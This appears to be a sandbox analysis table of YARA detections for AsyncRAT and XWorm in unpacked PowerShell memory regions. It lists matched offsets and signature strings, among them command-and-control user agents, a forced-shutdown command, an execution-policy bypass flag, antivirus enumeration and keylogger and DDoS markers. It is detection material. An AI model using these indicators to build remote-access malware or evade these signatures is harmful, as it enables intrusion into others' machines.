28.2.powershell.exe.20601de4450.13.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.206008ed970.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.206008ed970.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.206008ed970.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
28.2.powershell.exe.206008ed970.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ccde7168.12.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ccde7168.12.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ccde7168.12.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ccde7168.12.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc07141480.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
23.2.powershell.exe.2cc07141480.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc07141480.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
23.2.powershell.exe.2cc07141480.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa248728.8.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.1e1aa248728.8.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa248728.8.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
18.2.powershell.exe.1e1aa248728.8.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1d3133b65d0.8.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
5.2.powershell.exe.1d3133b65d0.8.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
5.2.powershell.exe.1d3133b65d0.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc10c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc1c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc2f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc07127e40.3.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
23.2.powershell.exe.2cc07127e40.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc07127e40.3.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
23.2.powershell.exe.2cc07127e40.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.206008f65a0.7.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.206008f65a0.7.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.206008f65a0.7.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
28.2.powershell.exe.206008f65a0.7.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.20601dfa830.9.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.20601dfa830.9.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.20601dfa830.9.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
28.2.powershell.exe.20601dfa830.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.20601dfa830.9.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
23.2.powershell.exe.2cc0714a0b0.4.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.20601dfa830.9.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
23.2.powershell.exe.2cc0714a0b0.4.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
28.2.powershell.exe.20601dfa830.9.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
28.2.powershell.exe.20601dfa830.9.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
23.2.powershell.exe.2cc0714a0b0.4.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc10c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc1c4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc2f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ce2d5060.3.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ce2d5060.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ce2d5060.3.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ce2d5060.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ccde7168.12.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ccde7168.12.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ccde7168.12.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ccde7168.12.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.20601de4450.13.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.20601de4450.13.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
28.2.powershell.exe.20601de4450.13.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
28.2.powershell.exe.20601de4450.13.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ce2d5060.3.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ce2d5060.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ce2d5060.3.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ce2d5060.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7e4bb0000.16.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7e4bb0000.16.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7e4bb0000.16.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
11.2.powershell.exe.1d7e4bb0000.16.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
11.2.powershell.exe.1d7ce2eb440.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
11.2.powershell.exe.1d7ce2eb440.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
11.2.powershell.exe.1d7ce2eb440.2.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x60ab:$str01: $VB$Local_Port 0x609c:$str02: $VB$Local_Host 0x6380:$str03: get_Jpeg 0x5ddd:$str04: get_ServicePack 0x6e7c:$str05: Select * from AntivirusProduct 0x707a:$str06: PCRestart 0x708e:$str07: shutdown.exe /f /r /t 0 0x7140:$str08: StopReport 0x7116:$str09: StopDDos 0x720c:$str10: sendPlugin 0x728c:$str11: OfflineKeylogger Not Enabled 0x73e4:$str12: -ExecutionPolicy Bypass -File " 0x750d:$str13: Content-length: 5235
11.2.powershell.exe.1d7ce2eb440.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d8c:$s6: VirtualBox 0x6cea:$s8: Win32_ComputerSystem 0x75b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7653:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7768:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7428:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1e1aa261880.9.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.1e1aa261880.9.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
18.2.powershell.exe.1e1aa261880.9.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x42ab:$str01: $VB$Local_Port 0x429c:$str02: $VB$Local_Host 0x4580:$str03: get_Jpeg 0x3fdd:$str04: get_ServicePack 0x507c:$str05: Select * from AntivirusProduct 0x527a:$str06: PCRestart 0x528e:$str07: shutdown.exe /f /r /t 0 0x5340:$str08: StopReport 0x5316:$str09: StopDDos 0x540c:$str10: sendPlugin 0x548c:$str11: OfflineKeylogger Not Enabled 0x55e4:$str12: -ExecutionPolicy Bypass -File " 0x570d:$str13: Content-length: 5235
18.2.powershell.exe.1e1aa261880.9.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4f8c:$s6: VirtualBox 0x4eea:$s8: Win32_ComputerSystem 0x57b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5628:$cnc4: POST / HTTP/1.1
28.2.powershell.exe.206008f65a0.7.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
28.2.powershell.exe.206008f65a0.7.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
